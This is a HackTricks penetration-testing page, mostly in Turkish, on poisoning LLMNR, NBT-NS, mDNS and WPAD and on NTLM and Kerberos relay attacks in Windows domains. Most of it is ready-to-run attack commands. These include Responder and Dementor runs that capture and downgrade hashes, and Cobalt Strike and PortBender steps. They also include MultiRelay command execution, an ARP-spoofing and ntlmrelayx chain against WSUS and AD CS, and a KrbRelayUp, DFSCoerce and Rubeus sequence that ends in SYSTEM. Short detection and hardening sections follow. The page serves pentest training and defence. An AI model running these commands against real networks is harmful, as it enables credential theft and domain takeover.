Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reading time: 14 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Network Protocols

Local Host Resolution Protocols

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft ve diğer işletim sistemleri DNS başarısız olduğunda yerel ad çözümlemesi için LLMNR ve NBT-NS kullanır. Benzer şekilde, Apple ve Linux sistemleri mDNS kullanır.
  • Bu protokoller, UDP üzerinden kimlik doğrulamasız ve broadcast doğaları nedeniyle ele geçirilmeye ve taklit edilmeye açıktır.
  • [Responder] ve [Dementor] hizmetleri, bu protokolleri sorgulayan hostlara sahte yanıtlar göndererek servisleri taklit etmek için kullanılabilir.
  • Responder kullanarak servis taklidi hakkında daha fazla bilgi here bulunabilir.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD, tarayıcıların proxy ayarlarını otomatik olarak keşfetmesine imkan tanır.
  • Keşif DHCP, DNS aracılığıyla veya DNS başarısız olursa LLMNR ve NBT-NS'ye fallback ile sağlanır.
  • Responder, istemcileri kötü amaçlı WPAD sunucularına yönlendirerek WPAD saldırılarını otomatikleştirebilir.

Responder/Dementor for Protocol Poisoning

  • Responder, LLMNR, NBT-NS ve mDNS sorgularını zehirlemek için kullanılan bir araçtır; sorgu türlerine göre seçici yanıt vererek öncelikle SMB servislerini hedefler.

  • Kali Linux'ta önceden yüklü gelir, /etc/responder/Responder.conf üzerinde yapılandırılabilir.

  • Responder yakalanan hashleri ekranda gösterir ve bunları /usr/share/responder/logs dizininde kaydeder.

  • Hem IPv4 hem de IPv6'yı destekler.

  • Responder'ın Windows sürümü here mevcuttur.

  • Dementor, multicast zehirleme konularını genişletir ve ayrıca rogue servis sağlayıcı (CUPS RCE desteği dahil) olarak hareket eder

  • Genel yapı Responder ile benzerdir ancak daha ayrıntılı yapılandırma sunar. (varsayılan burada: Dementor.toml)

  • Dementor ve Responder arasındaki uyumluluk burada verilmiştir: Compatibility Matrix

  • Tanıtım ve Dokümantasyon burada: Dementor - Docs

  • Belirli protokollerde Responder tarafından ortaya çıkan yakalama sorunlarını düzeltir

Running Responder

  • Responder'ı varsayılan ayarlarla çalıştırmak için: responder -I <Interface>
  • Daha agresif sorgulama için (potansiyel yan etkilerle): responder -I <Interface> -P -r -v
  • Kolay kırma için NTLMv1 challenge/response yakalamaya yönelik teknikler: responder -I <Interface> --lm --disable-ess
  • WPAD taklidi şu komutla etkinleştirilebilir: responder -I <Interface> --wpad
  • NetBIOS istekleri saldırganın IP'sine çözülebilir ve bir kimlik doğrulama proxy'si kurulabilir: responder.py -I <interface> -Pv

Running Dementor

  • Varsayılan ayarlarla: Dementor -I <interface>
  • Analiz modunda varsayılan ayarlarla: Dementor -I <interface> -A
  • Otomatik NTLM oturum düşürme (ESS): Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off
  • Geçerli oturumu özel konfig ile çalıştırmak: Dementor -I <interface> --config <file.toml>

DHCP Poisoning with Responder

  • Sahte DHCP yanıtları göndermek, kurbanın yönlendirme bilgilerini kalıcı olarak zehirleyebilir ve ARP zehirlemeye göre daha gizli bir alternatif sunar.
  • Hedef ağın konfigürasyonuna dair kesin bilgi gerektirir.
  • Saldırıyı çalıştırmak: ./Responder.py -I eth0 -Pdv
  • Bu yöntem NTLMv1/2 hashlerini etkili biçimde yakalayabilir, ancak ağ kesintisini önlemek için dikkatli kullanım gerektirir.

Capturing Credentials with Responder/Dementor

  • Responder/Dementor, yukarıda bahsedilen protokoller aracılığıyla servisleri taklit ederek kullanıcılar sahte servislere doğrulanmaya çalıştığında kimlik bilgilerini (genellikle NTLMv2 Challenge/Response) yakalar.
  • Kolay kırma için NetNTLMv1'e düşürme veya ESS'i devre dışı bırakma girişimlerinde bulunulabilir.

Bu tekniklerin kullanımı yasal ve etik sınırlar içinde, uygun yetkilendirme sağlanarak ve yetkisiz erişim veya hizmet kesintisinden kaçınılarak gerçekleştirilmelidir.

Inveigh

Inveigh, Windows sistemleri için tasarlanmış bir penetration tester ve red team aracı olarak işlev görür. Responder ile benzer işlevsellikler sunar; spoofing ve man-in-the-middle saldırıları gerçekleştirir. Araç bir PowerShell betiğinden C# binary'sine evrilmiştir; ana sürümler [Inveigh] ve [InveighZero] şeklindedir. Detaylı parametreler ve talimatlar wiki üzerinde bulunabilir.

Inveigh PowerShell üzerinden çalıştırılabilir:

bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Veya bir C# binary olarak çalıştırıldığında:

bash
Inveigh.exe

NTLM Relay Attack

Bu saldırı, SMB authentication sessions kullanarak hedef makineye erişim sağlar; başarılı olunursa system shell elde edilir. Temel gereksinimler şunlardır:

  • Kimlik doğrulaması yapan kullanıcı, yönlendirilen host üzerinde Local Admin erişimine sahip olmalıdır.
  • SMB signing devre dışı bırakılmalıdır.

445 Port Forwarding and Tunneling

Doğrudan ağa giriş mümkün olmadığında, 445 numaralı porttaki trafik yönlendirilip tünellenmelidir. PortBender gibi araçlar, 445 trafiğini başka bir porta yönlendirmenize yardımcı olur; bu, driver yükleme için Local Admin erişimi mevcut olduğunda gereklidir.

PortBender kurulumu ve Cobalt Strike içinde çalıştırılması:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLM Relay Attack için Diğer Araçlar

  • Metasploit: proxies ile, yerel ve uzak host bilgileriyle yapılandırılır.
  • smbrelayx: SMB oturumlarını relay etmek ve komut çalıştırmak veya backdoor dağıtmak için bir Python scriptidir.
  • MultiRelay: Responder suite'inin bir aracı olup belirli kullanıcıları veya tüm kullanıcıları relay etmek, komut çalıştırmak veya hashes dump etmek için kullanılır.

Gerekirse her araç bir SOCKS proxy üzerinden çalışacak şekilde yapılandırılabilir; bu, dolaylı ağ erişimi olsa bile saldırılara imkan tanır.

MultiRelay İşleyişi

MultiRelay /usr/share/responder/tools dizininden çalıştırılır; belirli IP'leri veya kullanıcıları hedefler.

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Bu araçlar ve teknikler çeşitli ağ ortamlarında NTLM Relay saldırıları yürütmek için kapsamlı bir set oluşturur.

WSUS HTTP (8530) kullanılarak NTLM Relay ile LDAP/SMB/AD CS (ESC8) kötüye kullanımı

WSUS istemcileri update sunucularına NTLM üzerinden HTTP (8530) veya HTTPS (8531) ile kimlik doğrular. HTTP etkin olduğunda, periyodik istemci kontrolü yerel segmentte zorlanabilir veya yakalanıp ntlmrelayx ile LDAP/LDAPS/SMB veya AD CS HTTP uç noktalarına (ESC8) kırılmış hash olmadan relay edilebilir. Bu normal update trafiğine karışır ve sıklıkla makine-hesabı kimlik doğrulamaları (HOST$) verir.

Nelere bakmalı

  • GPO/registry yapılandırması altında HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate ve ...\WindowsUpdate\AU:
  • WUServer (ör. http://wsus.domain.local:8530)
  • WUStatusServer (raporlama URL'si)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled ve DetectionFrequency (saat)
  • İstemcilerin HTTP üzerinden kullandığı WSUS SOAP uç noktaları:
  • /ClientWebService/client.asmx (approvals)
  • /ReportingWebService/reportingwebservice.asmx (status)
  • Varsayılan portlar: 8530/tcp HTTP, 8531/tcp HTTPS

Keşif

  • Yetkisiz
  • Dinleyiciler için tarama: nmap -sSVC -Pn --open -p 8530,8531 -iL
  • L2 MITM ile HTTP WSUS trafiğini sniff'leyin ve aktif istemcileri/uç noktaları wsusniff.py ile loglayın (yalnızca HTTP; istemcileri TLS sertifikanıza güvenecek şekilde ayarlayamazsanız).
  • Kimlik doğrulamalı
  • SYSVOL GPO'larını MANSPIDER + regpol ile WSUS anahtarları için parse edin (wsuspider.sh wrapper WUServer/WUStatusServer/UseWUServer'ı özetler).
  • Hostlardan ölçekli olarak veya yerel olarak uç noktaları sorgulayın (NetExec): nxc smb -u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

Uçtan uca HTTP relay adımları

  1. MITM pozisyonu alın (aynı L2) ki bir istemci WSUS sunucusunu size çözsün (ARP/DNS poisoning, Bettercap, mitm6, vb.). arpspoof ile örnek: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. Port 8530'ı relay dinleyicinize yönlendirin (isteğe bağlı, kullanışlı): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers

  3. HTTP dinleyicisi ile ntlmrelayx'i başlatın (HTTP dinleyici için Impacket desteği gerekir; aşağıdaki PR'lere bakın): ntlmrelayx.py -t ldap:// -smb2support -socks --keep-relaying --http-port 8530

Diğer yaygın hedefler:

  • SMB'ye relay (signing kapalıysa) exec/dump için: -t smb://
  • LDAPS'e relay ile dizin değişiklikleri için (ör. RBCD): -t ldaps://
  • AD CS web enrollment'a (ESC8) relay ederek sertifika basmak ve sonra Schannel/PKINIT ile kimlik doğrulamak: ntlmrelayx.py --http-port 8530 -t http:///certsrv/certfnsh.asp --adcs --no-http-server Daha derin AD CS kötüye kullanım yolları ve araçlar için AD CS sayfasına bakın:

AD CS Domain Escalation

  1. Bir istemci check-in tetikleyin veya zamanlamayı bekleyin. Bir istemciden: wuauclt.exe /detectnow veya Windows Update UI'ını kullanın (Check for updates).

  2. Kimlik doğrulanmış SOCKS oturumlarını kullanın (eğer -socks ile başlattıysanız) veya doğrudan relay sonuçlarını post-exploitation için kullanın (LDAP değişiklikleri, SMB işlemleri veya daha sonra kimlik doğrulama için AD CS sertifika verilmesi).

HTTPS kısıtlaması (8531)

  • WSUS'un HTTPS üzerinden pasif olarak yakalanması, istemciler sertifikanıza güvenmedikçe etkisizdir. Güvenilen bir sertifika veya başka bir TLS kırma yöntemi olmadan, WSUS HTTPS trafiğinden NTLM el sıkışması toplanamaz/relay edilemez.

Notlar

  • WSUS kullanımdan kalkacağı duyuruldu ancak hâlâ geniş şekilde dağıtılmış durumda; HTTP (8530) birçok ortamda hâlen yaygındır.
  • Yararlı yardımcılar: wsusniff.py (HTTP WSUS check-in'lerini gözlemleme), wsuspider.sh (GPO'lardan WUServer/WUStatusServer'ı enumerate etme), NetExec reg-query ile ölçekli sorgu.
  • Impacket, ntlmrelayx için HTTP dinleyici desteğini PR #2034 ile geri ekledi (ilk olarak PR #913'te eklenmişti).

NTLM Oturumlarını Zorlama

Windows'ta bazı ayrıcalıklı hesapları rastgele makinelere kimlik doğrulamaya zorlayabilirsiniz. Nasıl yapılacağını öğrenmek için aşağıdaki sayfayı okuyun:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack, bir servisten bir AP-REQ ticket çalar ve aynı computer-account key'i paylaşan ikinci bir servise tekrar kullanır (çünkü her iki SPN aynı $ makine hesabında bulunur). Bu, SPN'lerin service classes farklı olsa bile (örn. CIFS/LDAP/) işe yarar çünkü biletin şifresini çözen anahtar, makinenin NT hash'i olup SPN stringi kendisi değil ve SPN stringi imzanın parçası değildir.

NTLM relay'in aksine, atlama aynı host ile sınırlıdır fakat eğer LDAP'a yazmanıza izin veren bir protokolü hedeflerseniz, bunu Resource-Based Constrained Delegation (RBCD) veya AD CS enrollment zincirine bağlayabilir ve tek seferde NT AUTHORITY\SYSTEM elde edebilirsiniz.

Bu saldırı hakkında detaylı bilgi için bakın:

TokenAmaçRelay ile ilişkisi
TGT / AS-REQ ↔ REPKullanıcıyı KDC'ye kanıtlardeğişmeden
Service ticket / TGS-REQ ↔ REPBir SPN'ye bağlı; SPN sahibinin anahtarı ile şifrelenirSPN'ler aynı hesabı paylaşırsa birbirinin yerine kullanılabilir
AP-REQİstemci TGS'yi servise gönderirçalıp yeniden oynattığımız şey
  • Biletler, SPN'ye sahip olan hesabın şifreden türetilmiş anahtarı ile şifrelenir.
  • AP-REQ içindeki Authenticator 5 dakikalık bir zaman damgasına sahiptir; bu pencere içinde yeniden oynatma, servis cache'i bir kopyayı görene kadar geçerlidir.
  • Windows nadiren bilet içindeki SPN stringinin vurduğunuz servis ile eşleşip eşleşmediğini kontrol eder; bu yüzden CIFS/HOST için bir bilet genellikle LDAP/HOST üzerinde düzgün şekilde deşifre edilir.
    1. Kerberos relay için olması gerekenler
  1. Shared key: kaynak ve hedef SPN'ler aynı bilgisayar hesabına ait olmalı (Windows sunucularında varsayılan).
  2. No channel protection: SMB/LDAP signing kapalı ve HTTP/LDAPS için EPA kapalı olmalı.
  3. You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, vb.
  4. Ticket source not already used: gerçek paket gelmeden önce yarışı kazanmalı veya tamamen engellemelisiniz; aksi takdirde sunucunun replay cache'i Event 4649 tetikler.
  5. MitM in the communication yapabilmelisiniz — örneğin domain DNS'ini değiştirmek için DNSAmins grubunun üyesi olmak veya mağdurun HOST dosyasını değiştirebilmek gibi.

Kerberos Relay Steps

  • 3.1 Host'u keşfet
powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 relay listener'ı başlatın

KrbRelayUp

powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp, KrbRelay → LDAP → RBCD → Rubeus → SCM bypass'ı tek bir binary'de birleştirir.

  • 3.3 Coerce Kerberos auth
powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce, DC'nin bize bir Kerberos CIFS/DC01 bileti göndermesini sağlar.

  • 3.4 Relay the AP-REQ

KrbRelay, GSS blob'unu SMB'den çıkarır, bunu bir LDAP bind içine yeniden paketler ve ldap://DC01'e iletir—kimlik doğrulama başarılı olur çünkü aynı anahtar bunu çözer.

  • 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Artık NT AUTHORITY\SYSTEM'e sahipsiniz.

Bilmeniz Gereken Diğer Yollar

VectorTrickWhy it matters
AuthIP / IPSecSahte sunucu herhangi bir SPN ile bir GSS-ID payload gönderir; istemci doğrudan size bir AP-REQ oluştururAlt ağlar arasında bile çalışır; machine creds varsayılan
DCOM / MSRPCKötü amaçlı OXID resolver, istemciyi rastgele bir SPN ve porta auth olmaya zorlarPure local priv-esc; firewall'ı atlar
AD CS Web EnrollMakine biletini HTTP/CA'ya relay et ve bir sertifika al, sonra PKINIT ile TGT'ler oluşturLDAP signing savunmalarını atlar
Shadow CredentialsmsDS-KeyCredentialLink yazın, sonra sahte anahtar çifti ile PKINIT yapınBilgisayar hesabı eklemeye gerek yok

Sorun Giderme

ErrorMeaningFix
KRB_AP_ERR_MODIFIEDTicket key ≠ target keyYanlış host/SPN
KRB_AP_ERR_SKEWClock > 5 min offsetSaati senkronize et veya w32tm kullan
LDAP bind failsSigning enforcedAD CS yolunu kullan veya imzalamayı devre dışı bırak
Event 4649 spamService saw duplicate AuthenticatorOrijinal paketi engelle veya orijinal paketle yarış

Tespit

  • Aynı kaynaktan saniyeler içinde CIFS/, HTTP/, LDAP/ için Event 4769'da artış.
  • Serviste Event 4649 olması, replay tespit edildiğini gösterir.
  • 127.0.0.1 üzerinden Kerberos oturumu (local SCM'ye relay) oldukça şüphelidir — KrbRelayUp belgelerindeki Sigma kuralı ile eşle.
  • msDS-AllowedToActOnBehalfOfOtherIdentity veya msDS-KeyCredentialLink özniteliklerindeki değişiklikleri izle.

Sertleştirme

  1. Her sunucuda LDAP & SMB signing + EPA'yı zorunlu kıl.
  2. SPN'leri ayır; böylece HTTP, CIFS/LDAP ile aynı hesapta olmasın.
  3. Coercion vektörlerini yamala (PetitPotam KB5005413, DFS, AuthIP).
  4. Sahte bilgisayar eklemelerini durdurmak için ms-DS-MachineAccountQuota = 0 olarak ayarla.
  5. Event 4649 ve beklenmeyen loopback Kerberos oturumları için uyarı oluştur.

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin